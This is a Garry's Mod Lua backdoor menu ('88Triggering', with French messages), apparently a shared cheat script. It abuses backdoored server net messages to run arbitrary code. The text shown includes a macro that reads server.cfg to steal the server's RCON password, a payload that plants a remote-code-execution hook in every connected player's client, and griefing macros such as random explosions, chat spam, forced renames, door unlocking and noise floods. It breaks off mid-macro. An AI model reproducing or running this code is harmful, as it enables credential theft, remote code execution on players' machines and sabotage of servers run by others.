· 6 years ago · Dec 08, 2019, 09:34 PM
1print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
2MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), [[
3
4
5
6
7 .#@@@@ @
8 `@@@@@@@ ,@
9 @@@@@@@` ;@@
10 @@@@@@@@@# `+@@@@@
11 :@@@@@@'+,;; @@@@@@'@
12 #@@@@@ : ,:@@@@@@`@@
13 #@@@' `;:#@@@@;`,;@
14 @@@ ,; `@@@@ ':@`
15 @@@ #; ,@@@. #@@, 88Triggering Chargé | Menu Privé
16 `@@@@ ,#,. .@@@@@@@@
17 @@@@@@#' @@@@@@@, Tapez 88 Pour Ouvrir Le Menu :D
18 .#@@@. @@@@@@
19 +.#,#@; `@@@@@#
20 ,@++`` `#' +:@@@@@# Enjoy (sauf le serveur)
21 ` .+@@` #: .#@@@ .@@:
22 ,@@@, + ,@@@, @@
23 +#@@ . @@@@' ++ Backdoor Menu
24 @@@` @@@@+ @
25 +@@. :+@@# #
26 @@, @@@#` `: MENU MADED BY :
27 @@@ @@@@, @
28 ,@@ :@@@, ;@ Zilnix
29 @@ @@@ .@
30 ,@# @@@+ .+;
31 @@@ @@@@ :#@
32 @@' ;@@@@ `@@#
33 `@@@ :@@@@@@ ,@@#@
34 ;@@@` `'@@#@@'@@@,.:+@@@@@@
35 +@@@@@@@@@@+@.+@@@@@@@@@@#@
36 #@@@+@,@#'@#` @@@@@@@@@@@@
37 @@@@@@@@@, @@@@@@@@@@+ YouTube Channel : https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ
38 @@@@@@;, +@@@@@@@@@
39 `,' @@@@@@+.
40
41 ]])
42
43print ("\n")
44
45
46/*================================
47|===== 88Triggering CHECKERS =====|
48=================================*/
49
50
51if (_G.QAC or _G.CAC) then
52MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," Cake Anticheat / Quack Anti Cheat Détecté ! \n" )
53else
54MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," Cake Anticheat / Quack-Anti-Cheat Non Détecté ! \n" )
55end
56
57
58if (_G.ulx or _G.ulib) then
59MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," Ulx / Ulib Détecté ! \n" )
60else
61MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," Ulx / Ulib Non Détecté ! \n" )
62end
63
64
65if (_G.FAdmin) then
66MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," DarkRP Détecté ! \n" )
67else
68MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," DarkRP Non Détecté ! \n" )
69end
70
71
72if file.Exists("snte_source.lua","LUA") then
73MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," SNTE Détecté ! \n" )
74end
75
76
77
78
79/*=====================================
80|===== 88Triggering BACKDOOR MENU =====|
81======================================*/
82
83
84
85
86
87local BD = {}
88local h = http
89
90
91BD.Backdoors = BD.Backdoors or {}
92
93BD.BackdoorTypes = {
94
95 ["JS"] = {
96
97 ["Code"] = "util.AddNetworkString( 'JSQuery.Data(Post(false))' ) net.Receive( 'JSQuery.Data(Post(false))', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
98
99 ["Netkey"] = "JSQuery.Data(Post(false))",
100
101 },
102
103}
104
105local netsss = net.Start
106
107function BD.IsMessagePooled( netmessage )
108
109local netfunc = netsss
110
111local status, error = pcall( netfunc, netmessage )
112
113return status
114
115end
116
117
118
119local net = net
120
121
122
123
124local ctxt = chat.AddText
125
126function BD.ChatText( message, col )
127
128 ctxt( Color(0,0,0,255), "[88] ", col, message )
129
130end
131
132
133
134function BD.PingBackDoors()
135
136 local bds = {}
137
138 for k, v in pairs(BD.BackdoorTypes) do
139
140 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
141
142 end
143
144 return bds
145
146end
147
148concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
149
150
151
152function BD.BackdoorActive()
153
154 return table.Count( BD.Backdoors ) > 0
155
156end
157
158
159
160function BD.GetActive()
161
162 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
163
164 return BD.BackdoorTypes[BD.CurrentBackdoor]
165
166end
167
168
169
170BD.BDMacros ={
171
172
173
174/*===========================================
175|===== Commandes Sur Tout Les Joueurs =====|
176============================================*/
177
178 ["Récuperer RCON"] = {
179
180 ["Type"] = 1,
181
182 ["Code"] = [[
183
184
185util.AddNetworkString('gmod_dumpcfg')
186
187net.Receive('gmod_dumpcfg',function(len,pl)
188
189RunStringEx(net.ReadString(),'[C]',false)
190
191end)
192
193local function RconSteal(getrcon)
194
195 net.Start("gmod_dumpcfg")
196 net.WriteString(file.Read("cfg/server.cfg","GAME"))
197 net.Send(getrcon)
198
199 print("[RconStealer - Vous avez récupéré le rcon de ce serveur avec succès !]\n")
200
201 print(file.Read("cfg/server.cfg", "GAME"))
202
203end
204
205concommand.Add("+wol", RconSteal)
206
207
208
209 ]],
210
211 ["Desc"] = "Récuperer un RCON",
212
213 },
214
215
216
217
218
219
220 ["Frappe Orbital Aléatoire"] = {
221
222 ["Type"] = 1,
223
224 ["Code"] = [[if !bombstrike then
225
226 hook.Add("Think", "lulz_bombstrike", function()
227
228 local explode = ents.Create( "env_explosion" )
229
230 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
231
232 local trc = {}
233
234 trc.start = ps
235
236 trc.endpos = ps + Vector( 0, 0, -99999)
237
238 local tr = util.TraceLine(trc)
239
240 if !tr.Hit then return end
241
242 explode:SetPos( tr.HitPos )
243
244 explode:Spawn()
245
246 explode:SetKeyValue( "iMagnitude", "400" )
247
248 explode:Fire( "Explode", 0, 0 )
249
250 end)
251
252 bombstrike = true
253
254 else
255
256 hook.Remove("Think", "lulz_bombstrike")
257
258 bombstrike = false
259
260 end]],
261
262 ["Desc"] = "Effectuer Des Frappes Orbital",
263
264 },
265
266
267
268
269
270 [" Injecter Backdoor"] = {
271
272 ["Type"] = 1,
273
274 ["Code"] = [[
275
276 util.AddNetworkString( "88Triggered" )
277
278 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
279
280 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
281
282 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
283
284 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
285
286 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
287
288 ]],
289
290 ["Desc"] = "You need this to use certain macros",
291
292 },
293
294
295
296 ["Annonce Sur L'écran"] = {
297
298 ["Type"] = 1,
299
300 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
301
302 ["Desc"] = "Ecrit un truc au millieu de de l'écran des autres :D",
303
304 ["NeedsParameters"] = 1,
305
306 },
307
308
309
310 ["Spam Chat Multicolore"] = {
311
312 ["Type"] = 1,
313
314 ["Code"] = [[
315
316 if !timer.Exists( "lespamckool" ) then
317
318 timer.Create( "lespamckool", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
319
320 else
321
322 timer.Remove( "lespamckool" )
323
324 end]],
325
326 ["Desc"] = "Spam le chat de manière multicolore, c'est drôle",
327
328 ["NeedsParameters"] = 1,
329
330 },
331
332 ["Changer Le Nom De Tous"] = {
333
334 ["Type"] = 1,
335
336 ["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
337
338 ["Desc"] = "Sa va être drôle :)",
339
340 ["NeedsParameters"] = 1,
341
342 },
343
344
345 ["Violent Spam Chat Multicolore"] = {
346
347 ["Type"] = 1,
348
349 ["Code"] = [[
350
351 if !timer.Exists( "wutckoasa" ) then
352
353 timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
354
355 else
356
357 timer.Remove( "wutckoasa" )
358
359 end]],
360
361 ["Desc"] = "Spam le chat de manière multicolore et très rapidement, c'est très drôle",
362
363 ["NeedsParameters"] = 1,
364
365 },
366
367
368
369 ["Débloquer Les Portes"] = {
370
371 ["Type"] = 1,
372
373 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
374
375 ["Desc"] = "Pas besoin d'expliquer",
376
377 },
378
379
380
381 ["Activer/Desactiver Les Portes"] = {
382
383 ["Type"] = 1,
384
385 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
386
387 ["Desc"] = "Pas besoin d'expliquer",
388
389 },
390
391
392
393 ["Symphony De Verre Cassé"] = {
394
395 ["Type"] = 1,
396
397 ["Code"] = [[
398
399 if !timer.Exists( "A true masterpiece" ) then
400
401 timer.Create( "A true masterpiece", 0.2, 0, function()
402
403 for _, p in pairs(player.GetAll()) do
404
405 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
406
407 end
408
409 end)
410
411 else
412
413 timer.Remove( "A true masterpiece" )
414
415 end]],
416
417 ["Desc"] = "C'est la meilleur symphony qu'on ai vu",
418
419 },
420
421
422
423 ["Yeah Baby"] = {
424
425 ["Type"] = 1,
426
427 ["Code"] = [[
428
429 if !timer.Exists( "porn" ) then
430
431 timer.Create( "porn", 0.3, 0, function()
432
433 for _, p in pairs(player.GetAll()) do
434
435 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
436
437 end
438
439 end)
440
441 else
442
443 timer.Remove( "porn" )
444
445 end]],
446
447 ["Desc"] = "YEAH BABY YEAH",
448
449 },
450
451 ["Bruit D'Impact"] = {
452
453 ["Type"] = 1,
454
455 ["Code"] = [[
456
457 if !timer.Exists( "impakt" ) then
458
459 timer.Create( "impakt", 0.3, 0, function()
460
461 for _, p in pairs(player.GetAll()) do
462
463 p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
464
465 end
466
467 end)
468
469 else
470
471 timer.Remove( "impakt" )
472
473 end]],
474
475 ["Desc"] = "Ca doit faire mal",
476
477 },
478
479 ["Bruit de Cloche"] = {
480
481 ["Type"] = 1,
482
483 ["Code"] = [[
484
485 if !timer.Exists( "pimpon" ) then
486
487 timer.Create( "pimpon", 0.3, 0, function()
488
489 for _, p in pairs(player.GetAll()) do
490
491 p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
492
493 end
494
495 end)
496
497 else
498
499 timer.Remove( "pimpon" )
500
501 end]],
502
503 ["Desc"] = "Qu'est ce qui ce passe bordel",
504
505 },
506
507 ["Guerre Civil"] = {
508
509 ["Type"] = 1,
510
511 ["Code"] = [[
512
513 if !timer.Exists( "cwar" ) then
514
515 timer.Create( "cwar", 1, 0, function()
516
517 for _, p in pairs(player.GetAll()) do
518
519 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
520
521 end
522
523 end)
524
525 else
526
527 timer.Remove( "cwar" )
528
529 end]],
530
531 ["Desc"] = "C'est n'importe quoi dans c'te ville",
532
533 },
534
535
536
537 ["Séisme"] = {
538
539 ["Type"] = 1,
540
541 ["Code"] = [[
542
543 if !timer.Exists( "earthquake" ) then
544
545 timer.Create( "earthquake", 0.5, 500, function()
546
547 for _, p in pairs(player.GetAll()) do
548
549 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
550
551 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
552
553 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
554
555 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
556
557 end
558
559
560
561 for _, e in pairs(ents.GetAll()) do
562
563 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
564
565 end
566
567
568
569
570
571 end)
572
573 else
574
575 timer.Remove( "earthquake" )
576
577 end]],
578
579 ["Desc"] = "WOOOOOOOOOOAW ON EST EN CHINE BORDEL",
580
581 },
582
583
584
585 ["Dominer Le Serveur"] = {
586
587 ["Type"] = 1,
588
589 ["Code"] = [[
590
